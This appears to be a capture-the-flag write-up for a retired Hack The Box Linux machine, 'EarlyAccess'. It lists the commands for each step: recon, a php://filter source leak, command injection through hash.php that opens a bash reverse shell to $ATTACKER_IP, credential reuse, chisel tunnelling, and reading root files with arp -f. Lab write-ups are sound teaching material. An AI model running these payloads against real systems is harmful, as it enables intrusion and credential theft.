EarlyAccess
Summary
EarlyAccess ($TARGET, Linux Hard) is a Laravel gaming-store app fronting a Docker environment. Broken access control on the main site exposes an admin backup and a game-key validator; the sibling dev vhost holds an authenticated PHP endpoint (hash.php) that passes a user-controlled hash_function to system(), giving RCE as www-data inside a container. Credentials looted from the container (www-adm, an internal api service, and a reused MySQL root password) recover the host SSH login for drew (user).
Privilege escalation abuses the adm group's read access to the root-owned /usr/sbin/arp binary, whose -f etherfile parser leaks arbitrary root-readable files, to read /root/root.txt. Every credential in the chain is static in the box image, so the game-key front door can be skipped by logging into the dev vhost directly as admin@earlyaccess.htb's password.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"Some commands also carry a value in angle brackets (<admin_session>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 2
Enumerate open ports and banners.
$ nmap -Pn -sV --open -p22,80,443 $TARGETHarvest links and sibling vhosts.
$ curl -ksS https://earlyaccess.htb/ | grep -Eo 'href="[^"]+' | sort -uExact commands 1
Retrieve the validator backup as admin.
$ curl -ksS -b '<admin_session>' https://earlyaccess.htb/admin/backup/download -o backup.zip && unzip -o backup.zipExact commands 3
Authenticate to the dev vhost (static creds).
$ curl -sS -c dev_c http://dev.earlyaccess.htb/ -o /dev/null; curl -sS -b dev_c -c dev_c -X POST http://dev.earlyaccess.htb/actions/login.php --data-urlencode email=admin@earlyaccess.htb --data-urlencode password=$PASSWORD4Leak hash.php source to confirm the system() sink.
$ curl -sS -b dev_c -G http://dev.earlyaccess.htb/actions/file.php --data-urlencode 'filepath=php://filter/convert.base64-encode/resource=hash.php'Trigger the reverse shell as www-data.
$ curl -sS -b dev_c -G http://dev.earlyaccess.htb/actions/hash.php --data-urlencode action=hash --data-urlencode hash_function=system --data-urlencode "password=bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'" --data-urlencode debug=1Exact commands 1
Internal API leaks the MySQL root password (= drew's SSH password).
$ curl -su api:"$PASSWORD2" http://api:5000/check_dbExact commands 2
Expose internal host SSH to my box.
$ chisel server --reverse --port 8001 # Kali; container: chisel client $ATTACKER_IP:8001 R:2222:$INTERNAL_HOST:22Foothold on the host; user flag.
$ sshpass -p "$PASSWORD" ssh -p 2222 drew@127.0.0.1 'id; cat /home/drew/user.txt'Exact commands 2
Escalate into the adm group.
$ su - game-adm # password: $PASSWORD3 (drive via a pty helper; su ignores piped stdin)Adm can execute root-owned arp; -f leaks the file contents via its error output.
$ /usr/sbin/arp -v -f /root/root.txtExact commands 1
Record the root own.
$ POST https://labs.hackthebox.com/api/v5/machine/own {"flag": "<root.txt>", "id": 375}Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.38 (earlyaccess.htb) |
| 443/tcp | ssl/http Apache httpd 2.4.38 (earlyaccess.htb) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.